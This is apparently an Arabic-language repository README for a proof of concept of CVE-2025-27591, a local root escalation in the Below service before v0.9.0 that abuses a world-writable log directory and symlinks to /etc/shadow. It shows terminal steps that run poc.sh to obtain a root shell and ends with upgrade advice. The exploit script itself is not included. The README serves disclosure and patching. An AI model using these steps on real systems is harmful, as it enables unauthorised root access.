incommatose/cve-2025-27591-pocإثبات مفهوم لـ CVE-2025-27591، وهو تصعيد امتيازات محلي في Below < v0.9.0
إثبات مفهوم لـ CVE-2025-27591، وهي ثغرة تسمح للمستخدمين المحليين غير المميزين بتصعيد امتيازاتهم إلى صلاحيات الجذر عبر هجمات الروابط الرمزية.
تؤثر الثغرة على خدمة Below (الإصدارات الأقدم من v0.9.0). تنشئ هذه الخدمة دليل /var/log/below بصلاحيات قابلة للكتابة من قبل الجميع (0777)، مما يسمح للمستخدمين المحليين غير المميزين بنقل الروابط الرمزية والتلاعب بملفات حساسة مثل /etc/shadow، مما يؤدي إلى تصعيد الامتيازات إلى الجذر.
يمكن لمستخدم محلي غير مميز تصعيد امتيازاته إلى الجذر عن طريق:
/var/log/below/ صلاحيات قابلة للكتابة من الجميع (0777) ويحتوي على ملف error_root.log.foo@victim:~$ ls -l /var/log/ | grep below
drwxrwxrwx 3 root root 4096 Jul 8 20:45 below
سنحتاج إلى صلاحيات على مستوى sudoers.
foo@victim:~$ sudo -l
Matching Defaults entries for jacob on victim:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User foo may run the following commands on victim:
(ALL : ALL) NOPASSWD: /usr/bin/below
بمجرد حصولنا على ملف poc.sh، سنمنحه الصلاحيات اللازمة، وننفذه، وسنصبح root.
foo@victim:/tmp$ chmod +x poc.sh
foo@victim:/tmp$ ./poc.sh
evil@victim:/tmp# id
uid=0(evil) gid=0(root) groups=0(root)
قم بالترقية إلى Below v0.9.0 أو أحدث، والذي يزيل منطق chmod غير الآمن ويعتمد على ميزات وحدات systemd مثل LogsDirectory=below